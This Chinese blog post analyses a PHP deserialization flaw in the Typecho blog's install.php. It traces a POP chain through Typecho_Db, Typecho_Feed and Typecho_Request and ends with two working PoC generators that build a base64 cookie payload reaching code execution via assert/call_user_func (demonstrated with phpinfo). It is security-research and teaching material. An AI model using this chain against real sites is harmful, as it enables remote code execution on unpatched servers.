• PHP审计之PHP反序列化漏洞


    PHP审计之PHP反序列化漏洞

    前言

    一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serializeunserialize中的一些问题。

    在此不做多的介绍。

    魔术方法

    在php的反序列化中会用到各种魔术方法

    __wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
    __invoke() //当脚本尝试将对象调用为函数时触发
    

    代码审计

    寻觅漏洞点

    定位到漏洞代码install.php

     <?php if (isset($_GET['finish'])) : ?>
                    <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                    <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
                    <div class="typecho-install-body">
                        <form method="post" action="?config" name="config">
                        <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                        </form>
                    </div>
                    <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                    <h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
                    <div class="typecho-install-body">
                        <form method="post" action="?config" name="config">
                        <p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
                        </form>
                    </div>
                    <?php else : ?>
                        <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>
    

    前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。

    后面代码即走到这一步

     <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>
    

    接收Cookie中__typecho_config的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config中,来到下面,清空cookie的值,然后实例化一个Typecho_Db对象,将$config['adapter']$config['prefix']进行存储到该对象中。

    寻找POP链

    这时候需要寻找一个pop链,在PHP中一般以__construct__destruct方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。

    来看到Db.php文件

     public function __construct($adapterName, $prefix = 'typecho_')
        {
            /** 获取适配器名称 */
            $this->_adapterName = $adapterName;
    
            /** 数据库适配器 */
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
            if (!call_user_func(array($adapterName, 'isAvailable'))) {
                throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
            }
    
            $this->_prefix = $prefix;
    
            /** 初始化内部变量 */
            $this->_pool = array();
            $this->_connectedPool = array();
            $this->_config = array();
    
            //实例化适配器对象
            $this->_adapter = new $adapterName();
        }
    

    这里的$adapterName变量并且了一串Typecho_Db_Adapter_字符串,假设$adapterName为一个对象的话,即可触发到__toString()方法。

    寻找__toString方法

    Feed.php __toString方法代码

     foreach ($links as $link) {
                    $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
                }
    
                $result .= '</rdf:Seq>
    </items>
    </channel>' . self::EOL;
    
                $result .= $content . '</rdf:RDF>';
    
            } else if (self::RSS2 == $this->_type) {
                ...
            }
    

    self::RSS2 == $this->_type中比较是否对等,self::RSS2RSS 2.0字符串。

    所以说需要走到这个判断条件下的逻辑在需要构造$this->_type这个数据。

                $content = '';
                $lastUpdate = 0;
    
                foreach ($this->_items as $item) {
                    $content .= '<item>' . self::EOL;
                    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                    ...
                }
    

    下面这里调用了$item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.

    寻找__get方法

    /var/Typecho/Request.php

    public function __get($key)
        {
            return $this->get($key);
        }
    

    $key 传入的值为 scrrenName

     public function get($key, $default = NULL)
        {
            switch (true) {
                case isset($this->_params[$key]):
                    $value = $this->_params[$key];
                    break;
                case isset(self::$_httpParams[$key]):
                    $value = self::$_httpParams[$key];
                    break;
                default:
                    $value = $default;
                    break;
            }
    
            $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
            return $this->_applyFilter($value);
        }
    

    $this->_params[$key]值存在,即将该值赋值给$value,然后判断该值不等于数组和小于0则数据不变。

    然后调用$this->_applyFilter($value)

    继续看到_applyFilter

    private function _applyFilter($value)
        {
            if ($this->_filter) {
                foreach ($this->_filter as $filter) {
                    $value = is_array($value) ? array_map($filter, $value) :
                    call_user_func($filter, $value);
                }
    
                $this->_filter = array();
            }
    
            return $value;
        }
    

    关键地方在于上面代码中,判断$this->_filter是否存在并且遍历filter,假设上面传入的$value为数组则调用array_map($filter, $value),否则则调用call_user_func($filter, $value)

    这两个都回调方法都可以进行代码代码执行。

    调用链:

    Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter
    

    构造POP链

    来看看需要构造的数据

    1. Typecho_Db__construct 方法$adapterName变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed这个实例化对象拼接字符串的话,会触发__toString 。因此这个方法的参数第一个传递Typecho_Feed,而第二个参数传递typecho_

    2. 上面分析Feed这个点的时候,需要将self::RSS2设置为RSS 2.0,这个$this->_items[author]传入一个不存在或者是方法为私有属性的screenName方法的类。这样可以去自动去调用__get。在上面寻找到的是Typecho_Request,所以这里传入一个Typecho_Request实例化对象。进行自动调用__get

    3. Typecho_Request198行中$this->_params[$key]这个key的值是scrrenName,即为$this->_params[scrrenName],则这个值需要设置为一个需要执行的代码。

    4. 最后走到_applyFilter这里遍历了$this->_filter后,进行调用array_mapcall_user_func,并且分别传入$filter, $value。那么这里即需要设置一个$this->_filter为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。

    调试POP链

    但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

    install.php的开始,调用了ob_start()

    bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
    

    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)

    该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。

    因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

    我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

    这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

    这里使用的是上面说的第二个办法。

    <?php
    
    	class Typecho_Feed{
    		private $_type;
    		private $_items = array();
    
    		public function __construct(){
    			$this->_type = "RSS 2.0";
    			$this->_items = array(
    				array(
    					"title" => "test",
    					"link" => "test",
    					"data" => "20190430",
    					"author" => new Typecho_Request(),
    				),
    			);
    		}
    	}
    
    	class Typecho_Request{
    		private $_params = array();
    		private $_filter = array();
    
    		public function __construct(){
    			$this->_params = array(
    				"screenName" => "eval('phpinfo();exit;')",
    			);
    			$this->_filter = array("assert");
    		}
    	}
    
    	$a = new Typecho_Feed();
    
    	$c = array(
    		"adapter" => $a,
    		"prefix" => "test",
    	);
    
    	echo base64_encode(serialize($c));
    

    另外一个方法,直接mark过来,POC如下:

    <?php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct()
        {
            // $this->_params['screenName'] = 'whoami';
            $this->_params['screenName'] = -1;
            $this->_filter[0] = 'phpinfo';
        }
    }
    
    class Typecho_Feed
    {
        const RSS2 = 'RSS 2.0';
        /** 定义ATOM 1.0类型 */
        const ATOM1 = 'ATOM 1.0';
        /** 定义RSS时间格式 */
        const DATE_RFC822 = 'r';
        /** 定义ATOM时间格式 */
        const DATE_W3CDTF = 'c';
        /** 定义行结束符 */
        const EOL = "
    ";
        private $_type;
        private $_items = array();
        public $dateFormat;
    
        public function __construct()
        {
            $this->_type = self::RSS2;
            $item['link'] = '1';
            $item['title'] = '2';
            $item['date'] = 1507720298;
            $item['author'] = new Typecho_Request();
            $item['category'] = array(new Typecho_Request());
    
            $this->_items[0] = $item;
        }
    }
    
    $x = new Typecho_Feed();
    $a = array(
        'host' => 'localhost',
        'user' => 'xxxxxx',
        'charset' => 'utf8',
        'port' => '3306',
        'database' => 'typecho',
        'adapter' => $x,
        'prefix' => 'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
    ?>
    

    参考

    [红日安全]代码审计Day11 - unserialize反序列化漏洞

    Typecho-反序列化漏洞学习

    Typecho 前台 getshell 漏洞分析

    结尾

    PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。

  • 相关阅读:
    solidworks 学习 (二)洗手液瓶
    solidworks 学习 (一)螺丝刀
    tensorflow 2.0 学习(三)MNIST训练
    tensorflow 2.0 学习(二)线性回归问题
    tensorflow 2.0 学习(一)准备
    sscanf linux-c从一个字符串中读进与指定格式相符的数据
    Linux-c glib库hash表GHashTable介绍
    Linux-c给线程取名字
    linux-c getopt()参数处理函数
    golang Linux下编译环境搭建
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15395744.html
Copyright © 2020-2023  润新知